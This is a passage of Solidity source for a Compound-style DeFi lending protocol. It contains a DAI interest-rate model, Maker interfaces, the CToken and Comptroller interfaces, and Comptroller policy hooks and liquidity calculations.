dsrPerBlock() public view returns (uint) { return pot .dsr().sub(1e27) // scaled 1e27 aka RAY, and includes an extra "ONE" before subraction .div(1e9) // descale to 1e18 .mul(15); // 15 seconds per block } /** * @notice Resets the baseRate and multiplier per block based on the stability fee and Dai savings rate */ function poke() public { (uint duty, ) = jug.ilks("ETH-A"); uint stabilityFeePerBlock = duty.add(jug.base()).sub(1e27).mul(1e18).div(1e27).mul(15); // We ensure the minimum borrow rate >= DSR / (1 - reserve factor) baseRatePerBlock = dsrPerBlock().mul(1e18).div(assumedOneMinusReserveFactorMantissa); // The roof borrow rate is max(base rate, stability fee) + gap, from which we derive the slope if (baseRatePerBlock < stabilityFeePerBlock) { multiplierPerBlock = stabilityFeePerBlock.sub(baseRatePerBlock).add(gapPerBlock).mul(1e18).div(kink); } else { multiplierPerBlock = gapPerBlock.mul(1e18).div(kink); } emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink); } } /*** Maker Interfaces ***/ abstract contract PotLike { function chi() external virtual view returns (uint); function dsr() external virtual view returns (uint); function rho() external virtual view returns (uint); function pie(address) external virtual view returns (uint); function drip() external virtual returns (uint); function join(uint) external virtual; function exit(uint) external virtual; } contract JugLike { // --- Data --- struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; uint256 public base; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } abstract contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external virtual returns (bool); function transferFrom(address src, address dst, uint amount) external virtual returns (bool); function approve(address spender, uint amount) external virtual returns (bool); function allowance(address owner, address spender) external view virtual returns (uint); function balanceOf(address owner) external view virtual returns (uint); function balanceOfUnderlying(address owner) external virtual returns (uint); function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint); function borrowRatePerBlock() external view virtual returns (uint); function supplyRatePerBlock() external view virtual returns (uint); function totalBorrowsCurrent() external virtual returns (uint); function borrowBalanceCurrent(address account) external virtual returns (uint); function borrowBalanceStored(address account) public view virtual returns (uint); function exchangeRateCurrent() public virtual returns (uint); function exchangeRateStored() public view virtual returns (uint); function getCash() external view virtual returns (uint); function accrueInterest() public virtual returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint); function _acceptAdmin() external virtual returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint); function _reduceReserves(uint reduceAmount) external virtual returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } abstract contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external virtual returns (uint); function redeem(uint redeemTokens) external virtual returns (uint); function redeemUnderlying(uint redeemAmount) external virtual returns (uint); function borrow(uint borrowAmount) external virtual returns (uint); function repayBorrow(uint repayAmount) external virtual returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external virtual returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } abstract contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual; } abstract contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public virtual; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; abstract contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory); function exitMarket(address cToken) external virtual returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external virtual returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external virtual; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external virtual; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external virtual returns (uint, uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Blo.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract Comptroller is ComptrollerV4Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when maxAssets is changed by admin event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when market comped status is changed event MarketComped(CToken cToken, bool isComped); /// @notice Emitted when COMP rate is changed event NewCompRate(uint oldCompRate, uint newCompRate); /// @notice Emitted when a new COMP speed is calculated for a market event CompSpeedUpdated(CToken indexed cToken, uint newSpeed); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice Emitted when borrow cap for a cToken is changed event NewBorrowCap(CToken indexed cToken, uint newBorrowCap); /// @notice Emitted when borrow cap guardian is changed event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian); /// @notice Emitted when blo address is changed event NewBloAddress(address oldBloAddress, address newBloAddress); /// @notice The threshold above which the flywheel transfers COMP, in wei uint public constant compClaimThreshold = 0.001e18; /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public override returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external override returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.pop(); emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, minter, false); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external override { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external override returns (uint) { uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, redeemer, false); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external override { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } uint borrowCap = borrowCaps[cToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = CToken(cToken).totalBorrows(); (MathError mathErr, uint nextTotalBorrows) = addUInt(totalBorrows, borrowAmount); require(mathErr == MathError.NO_ERROR, "total borrows overflow"); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external override { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external override returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()}); updateCompBorrowIndex(cToken, borrowIndex); distributeBorrowerComp(cToken, borrower, borrowIndex, false); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external override { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external override returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external override { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // Keep the flywheel moving updateCompSupplyIndex(cTokenCollateral); distributeSupplierComp(cTokenCollateral, borrower, false); distributeSupplierComp(cTokenCollateral, liquidator, false); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external override { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external override returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(cToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateCompSupplyIndex(cToken); distributeSupplierComp(cToken, src, false); distributeSupplierComp(cToken, dst, false); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external override { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToDenom * 